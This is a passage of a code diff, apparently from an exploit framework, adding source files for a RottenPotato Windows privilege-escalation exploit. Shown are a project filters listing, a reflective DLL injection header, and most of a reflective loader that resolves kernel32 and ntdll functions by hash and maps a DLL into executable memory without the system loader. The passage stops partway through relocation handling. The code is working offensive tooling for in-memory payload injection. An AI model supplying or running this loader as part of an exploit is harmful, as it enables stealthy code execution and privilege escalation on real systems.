</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClInclude Include="stdafx.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="targetver.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="MSFRottenPotato.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="IStorageTrigger.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="BlockingQueue.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="LocalNegotiator.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ReflectiveDllInjection.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
<ClInclude Include="ReflectiveLoader.h">
|
||||||
|
<Filter>Header Files</Filter>
|
||||||
|
</ClInclude>
|
||||||
|
</ItemGroup>
|
||||||
|
<ItemGroup>
|
||||||
|
<ClCompile Include="stdafx.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="MSFRottenPotato.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="dllmain.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="IStorageTrigger.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="LocalNegotiator.cpp">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
<ClCompile Include="ReflectiveLoader.c">
|
||||||
|
<Filter>Source Files</Filter>
|
||||||
|
</ClCompile>
|
||||||
|
</ItemGroup>
|
||||||
|
</Project>
|
52
external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveDllInjection.h
vendored
Normal file
52
external/source/exploits/rottenpotato/MSFRottenPotato/ReflectiveDllInjection.h
vendored
Normal file
|
@ -0,0 +1,52 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
|
||||||
|
//===============================================================================================//
|
||||||
|
#define WIN32_LEAN_AND_MEAN
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
// we declare some common stuff in here...
|
||||||
|
|
||||||
|
#define DLL_QUERY_HMODULE 6
|
||||||
|
|
||||||
|
#define DEREF( name )*(UINT_PTR *)(name)
|
||||||
|
#define DEREF_64( name )*(DWORD64 *)(name)
|
||||||
|
#define DEREF_32( name )*(DWORD *)(name)
|
||||||
|
#define DEREF_16( name )*(WORD *)(name)
|
||||||
|
#define DEREF_8( name )*(BYTE *)(name)
|
||||||
|
|
||||||
|
typedef ULONG_PTR(WINAPI * REFLECTIVELOADER)(VOID);
|
||||||
|
typedef BOOL(WINAPI * DLLMAIN)(HINSTANCE, DWORD, LPVOID);
|
||||||
|
|
||||||
|
#define DLLEXPORT __declspec( dllexport )
|
||||||
|
|
||||||
|
//===============================================================================================//
|
||||||
|
#endif
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma once
|
|
@ -0,0 +1,572 @@
|
||||||
|
//===============================================================================================//
|
||||||
|
// Copyright (c) 2013, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
|
||||||
|
// All rights reserved.
|
||||||
|
//
|
||||||
|
// Redistribution and use in source and binary forms, with or without modification, are permitted
|
||||||
|
// provided that the following conditions are met:
|
||||||
|
//
|
||||||
|
// * Redistributions of source code must retain the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer.
|
||||||
|
//
|
||||||
|
// * Redistributions in binary form must reproduce the above copyright notice, this list of
|
||||||
|
// conditions and the following disclaimer in the documentation and/or other materials provided
|
||||||
|
// with the distribution.
|
||||||
|
//
|
||||||
|
// * Neither the name of Harmony Security nor the names of its contributors may be used to
|
||||||
|
// endorse or promote products derived from this software without specific prior written permission.
|
||||||
|
//
|
||||||
|
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
|
||||||
|
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
|
||||||
|
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
|
||||||
|
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
|
||||||
|
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
|
||||||
|
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||||
|
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
|
||||||
|
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
|
||||||
|
// POSSIBILITY OF SUCH DAMAGE.
|
||||||
|
//===============================================================================================//
|
||||||
|
#include "ReflectiveLoader.h"
|
||||||
|
//===============================================================================================//
|
||||||
|
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
|
||||||
|
HINSTANCE hAppInstance = NULL;
|
||||||
|
//===============================================================================================//
|
||||||
|
#pragma intrinsic( _ReturnAddress )
|
||||||
|
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
|
||||||
|
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
|
||||||
|
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
|
||||||
|
// available (and no inline asm available under x64).
|
||||||
|
__declspec(noinline) ULONG_PTR caller(VOID) { return (ULONG_PTR)_ReturnAddress(); }
|
||||||
|
//===============================================================================================//
|
||||||
|
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
#define OUTPUTDBG(str) pOutputDebug((LPCSTR)str)
|
||||||
|
#else /* ENABLE_OUTPUTDEBUGSTRING */
|
||||||
|
#define OUTPUTDBG(str) do{}while(0)
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
|
||||||
|
// otherwise the DllMain at the end of this file will be used.
|
||||||
|
|
||||||
|
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
|
||||||
|
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
|
||||||
|
|
||||||
|
// This is our position independent reflective DLL loader/injector
|
||||||
|
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
|
||||||
|
#else
|
||||||
|
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
// the functions we need
|
||||||
|
LOADLIBRARYA pLoadLibraryA = NULL;
|
||||||
|
GETPROCADDRESS pGetProcAddress = NULL;
|
||||||
|
VIRTUALALLOC pVirtualAlloc = NULL;
|
||||||
|
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
VIRTUALLOCK pVirtualLock = NULL;
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
OUTPUTDEBUG pOutputDebug = NULL;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
USHORT usCounter;
|
||||||
|
|
||||||
|
// the initial location of this image in memory
|
||||||
|
ULONG_PTR uiLibraryAddress;
|
||||||
|
// the kernels base address and later this images newly loaded base address
|
||||||
|
ULONG_PTR uiBaseAddress;
|
||||||
|
|
||||||
|
// variables for processing the kernels export table
|
||||||
|
ULONG_PTR uiAddressArray;
|
||||||
|
ULONG_PTR uiNameArray;
|
||||||
|
ULONG_PTR uiExportDir;
|
||||||
|
ULONG_PTR uiNameOrdinals;
|
||||||
|
DWORD dwHashValue;
|
||||||
|
|
||||||
|
// variables for loading this image
|
||||||
|
ULONG_PTR uiHeaderValue;
|
||||||
|
ULONG_PTR uiValueA;
|
||||||
|
ULONG_PTR uiValueB;
|
||||||
|
ULONG_PTR uiValueC;
|
||||||
|
ULONG_PTR uiValueD;
|
||||||
|
ULONG_PTR uiValueE;
|
||||||
|
|
||||||
|
// STEP 0: calculate our images current base address
|
||||||
|
|
||||||
|
// we will start searching backwards from our callers return address.
|
||||||
|
uiLibraryAddress = caller();
|
||||||
|
|
||||||
|
// loop through memory backwards searching for our images base address
|
||||||
|
// we dont need SEH style search as we shouldnt generate any access violations with this
|
||||||
|
while (TRUE)
|
||||||
|
{
|
||||||
|
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
|
||||||
|
{
|
||||||
|
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
|
||||||
|
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
|
||||||
|
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
|
||||||
|
{
|
||||||
|
uiHeaderValue += uiLibraryAddress;
|
||||||
|
// break if we have found a valid MZ/PE header
|
||||||
|
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
uiLibraryAddress--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 1: process the kernels exports for the functions our loader needs...
|
||||||
|
|
||||||
|
// get the Process Enviroment Block
|
||||||
|
#ifdef _WIN64
|
||||||
|
uiBaseAddress = __readgsqword(0x60);
|
||||||
|
#else
|
||||||
|
#ifdef WIN_ARM
|
||||||
|
uiBaseAddress = *(DWORD *)((BYTE *)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
|
||||||
|
#else _WIN32
|
||||||
|
uiBaseAddress = __readfsdword(0x30);
|
||||||
|
#endif
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
|
||||||
|
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
|
||||||
|
|
||||||
|
// get the first entry of the InMemoryOrder module list
|
||||||
|
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
|
||||||
|
while (uiValueA)
|
||||||
|
{
|
||||||
|
// get pointer to current modules name (unicode string)
|
||||||
|
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
|
||||||
|
// set bCounter to the length for the loop
|
||||||
|
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
|
||||||
|
// clear uiValueC which will store the hash of the module name
|
||||||
|
uiValueC = 0;
|
||||||
|
|
||||||
|
// compute the hash of the module name...
|
||||||
|
ULONG_PTR tmpValC = uiValueC;
|
||||||
|
do
|
||||||
|
{
|
||||||
|
tmpValC = ror((DWORD)tmpValC);
|
||||||
|
// normalize to uppercase if the module name is in lowercase
|
||||||
|
if (*((BYTE *)uiValueB) >= 'a')
|
||||||
|
tmpValC += *((BYTE *)uiValueB) - 0x20;
|
||||||
|
else
|
||||||
|
tmpValC += *((BYTE *)uiValueB);
|
||||||
|
uiValueB++;
|
||||||
|
} while (--usCounter);
|
||||||
|
uiValueC = tmpValC;
|
||||||
|
|
||||||
|
// compare the hash with that of kernel32.dll
|
||||||
|
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
usCounter = 3;
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
usCounter++;
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
usCounter++;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while (usCounter > 0)
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if (dwHashValue == LOADLIBRARYA_HASH
|
||||||
|
|| dwHashValue == GETPROCADDRESS_HASH
|
||||||
|
|| dwHashValue == VIRTUALALLOC_HASH
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
|| dwHashValue == VIRTUALLOCK_HASH
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
|| dwHashValue == OUTPUTDEBUG_HASH
|
||||||
|
#endif
|
||||||
|
)
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if (dwHashValue == LOADLIBRARYA_HASH)
|
||||||
|
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
else if (dwHashValue == GETPROCADDRESS_HASH)
|
||||||
|
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
else if (dwHashValue == VIRTUALALLOC_HASH)
|
||||||
|
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
else if (dwHashValue == VIRTUALLOCK_HASH)
|
||||||
|
pVirtualLock = (VIRTUALLOCK)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
#endif
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
else if (dwHashValue == OUTPUTDEBUG_HASH)
|
||||||
|
pOutputDebug = (OUTPUTDEBUG)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
|
||||||
|
{
|
||||||
|
// get this modules base address
|
||||||
|
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
|
||||||
|
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||||
|
|
||||||
|
// get the VA for the array of name pointers
|
||||||
|
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
|
||||||
|
|
||||||
|
// get the VA for the array of name ordinals
|
||||||
|
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
|
||||||
|
|
||||||
|
usCounter = 1;
|
||||||
|
|
||||||
|
// loop while we still have imports to find
|
||||||
|
while (usCounter > 0)
|
||||||
|
{
|
||||||
|
// compute the hash values for this function name
|
||||||
|
dwHashValue = _hash((char *)(uiBaseAddress + DEREF_32(uiNameArray)));
|
||||||
|
|
||||||
|
// if we have found a function we want we get its virtual address
|
||||||
|
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||||
|
{
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||||
|
|
||||||
|
// use this functions name ordinal as an index into the array of name pointers
|
||||||
|
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
|
||||||
|
|
||||||
|
// store this functions VA
|
||||||
|
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
|
||||||
|
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
|
||||||
|
|
||||||
|
// decrement our counter
|
||||||
|
usCounter--;
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next exported function name
|
||||||
|
uiNameArray += sizeof(DWORD);
|
||||||
|
|
||||||
|
// get the next exported function name ordinal
|
||||||
|
uiNameOrdinals += sizeof(WORD);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// we stop searching when we have found everything we need.
|
||||||
|
if (pLoadLibraryA
|
||||||
|
&& pGetProcAddress
|
||||||
|
&& pVirtualAlloc
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
&& pVirtualLock
|
||||||
|
#endif
|
||||||
|
&& pNtFlushInstructionCache
|
||||||
|
#ifdef ENABLE_OUTPUTDEBUGSTRING
|
||||||
|
&& pOutputDebug
|
||||||
|
#endif
|
||||||
|
)
|
||||||
|
break;
|
||||||
|
|
||||||
|
// get the next entry
|
||||||
|
uiValueA = DEREF(uiValueA);
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 2: load our image into a new permanent location in memory...
|
||||||
|
|
||||||
|
// get the VA of the NT Header for the PE to be loaded
|
||||||
|
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
|
||||||
|
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
|
||||||
|
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
|
||||||
|
#ifdef ENABLE_STOPPAGING
|
||||||
|
// prevent our image from being swapped to the pagefile
|
||||||
|
pVirtualLock((LPVOID)uiBaseAddress, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
// we must now copy over the headers
|
||||||
|
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
|
||||||
|
uiValueB = uiLibraryAddress;
|
||||||
|
uiValueC = uiBaseAddress;
|
||||||
|
|
||||||
|
while (uiValueA--)
|
||||||
|
*(BYTE *)uiValueC++ = *(BYTE *)uiValueB++;
|
||||||
|
|
||||||
|
// STEP 3: load in all of our sections...
|
||||||
|
|
||||||
|
// uiValueA = the VA of the first section
|
||||||
|
uiValueA = ((ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
|
||||||
|
|
||||||
|
// itterate through all sections, loading them into memory.
|
||||||
|
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
|
||||||
|
while (uiValueE--)
|
||||||
|
{
|
||||||
|
// uiValueB is the VA for this section
|
||||||
|
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
|
||||||
|
|
||||||
|
// uiValueC if the VA for this sections data
|
||||||
|
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
|
||||||
|
|
||||||
|
// copy the section over
|
||||||
|
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
|
||||||
|
|
||||||
|
while (uiValueD--)
|
||||||
|
*(BYTE *)uiValueB++ = *(BYTE *)uiValueC++;
|
||||||
|
|
||||||
|
// get the VA of the next section
|
||||||
|
uiValueA += sizeof(IMAGE_SECTION_HEADER);
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 4: process our images import table...
|
||||||
|
|
||||||
|
// uiValueB = the address of the import directory
|
||||||
|
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
|
||||||
|
|
||||||
|
// we assume there is an import table to process
|
||||||
|
// uiValueC is the first entry in the import table
|
||||||
|
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
|
||||||
|
|
||||||
|
// iterate through all imports until a null RVA is found (Characteristics is mis-named)
|
||||||
|
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Characteristics)
|
||||||
|
{
|
||||||
|
OUTPUTDBG("Loading library: ");
|
||||||
|
OUTPUTDBG((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||||
|
OUTPUTDBG("\n");
|
||||||
|
|
||||||
|
// use LoadLibraryA to load the imported module into memory
|
||||||
|
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
|
||||||
|
|
||||||
|
if (!uiLibraryAddress)
|
||||||
|
{
|
||||||
|
OUTPUTDBG("Loading library FAILED\n");
|
||||||
|
|
||||||
|
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||||
|
continue;
|
||||||
|
}
|
||||||
|
|
||||||
|
// uiValueD = VA of the OriginalFirstThunk
|
||||||
|
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
|
||||||
|
|
||||||
|
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
|
||||||
|
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
|
||||||
|
|
||||||
|
// itterate through all imported functions, importing by ordinal if no name present
|
||||||
|
while (DEREF(uiValueA))
|
||||||
|
{
|
||||||
|
// sanity check uiValueD as some compilers only import by FirstThunk
|
||||||
|
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
|
||||||
|
{
|
||||||
|
// get the VA of the modules NT Header
|
||||||
|
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
|
||||||
|
|
||||||
|
// uiNameArray = the address of the modules export directory entry
|
||||||
|
uiNameArray = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
|
||||||
|
|
||||||
|
// get the VA of the export directory
|
||||||
|
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
|
||||||
|
|
||||||
|
// get the VA for the array of addresses
|
||||||
|
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
|
||||||
|
|
||||||
|
// use the import ordinal (- export ordinal base) as an index into the array of addresses
|
||||||
|
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
|
||||||
|
|
||||||
|
// patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
// get the VA of this functions import by name struct
|
||||||
|
uiValueB = (uiBaseAddress + DEREF(uiValueA));
|
||||||
|
|
||||||
|
OUTPUTDBG("Resolving function: ");
|
||||||
|
OUTPUTDBG(((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||||
|
OUTPUTDBG("\n");
|
||||||
|
|
||||||
|
// use GetProcAddress and patch in the address for this imported function
|
||||||
|
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
|
||||||
|
}
|
||||||
|
// get the next imported function
|
||||||
|
uiValueA += sizeof(ULONG_PTR);
|
||||||
|
if (uiValueD)
|
||||||
|
uiValueD += sizeof(ULONG_PTR);
|
||||||
|
}
|
||||||
|
|
||||||
|
// get the next import
|
||||||
|
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
|
||||||
|
}
|
||||||
|
|
||||||
|
// STEP 5: process all of our images relocations...
|
||||||
|
|
||||||
|
// calculate the base address delta and perform relocations (even if we load at desired image base)
|
||||||
|
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
|
||||||
|
|
||||||
|
// uiValueB = the address of the relocation directory
|
||||||
|
uiValueB = (ULONG_PTR)&((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
